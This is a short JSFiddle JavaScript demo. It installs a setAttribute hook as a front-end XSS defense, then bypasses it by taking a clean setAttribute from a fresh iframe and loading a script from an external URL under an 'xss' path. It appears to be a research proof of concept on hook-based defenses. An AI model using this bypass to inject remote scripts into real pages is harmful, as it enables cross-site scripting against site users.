JSFiddle - React, Tailwind, and code Playground
by zjcqoo
JavaScript
// 我们防御系统
(function() {
function installHook(window) {
// 保存上级接口
var raw_fn = window.Element.prototype.setAttribute;
// 勾住当前接口
window.Element.prototype.setAttribute = function(name, value) {
// 试试
alert(name);
// 向上调用
raw_fn.apply(this, arguments);
};
}
// 先保护当前页面
installHook(window);
document.addEventListener('DOMNodeInserted', function(e) {
var element = e.target;
// 给框架里环境也装个钩子
if (element.tagName == 'IFRAME') {
// 保护框架页面
installHook(element.contentWindow);
}
}, true);
})();
// 反射出纯净的接口
var frm = document.createElement('iframe');
document.body.appendChild(frm);
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);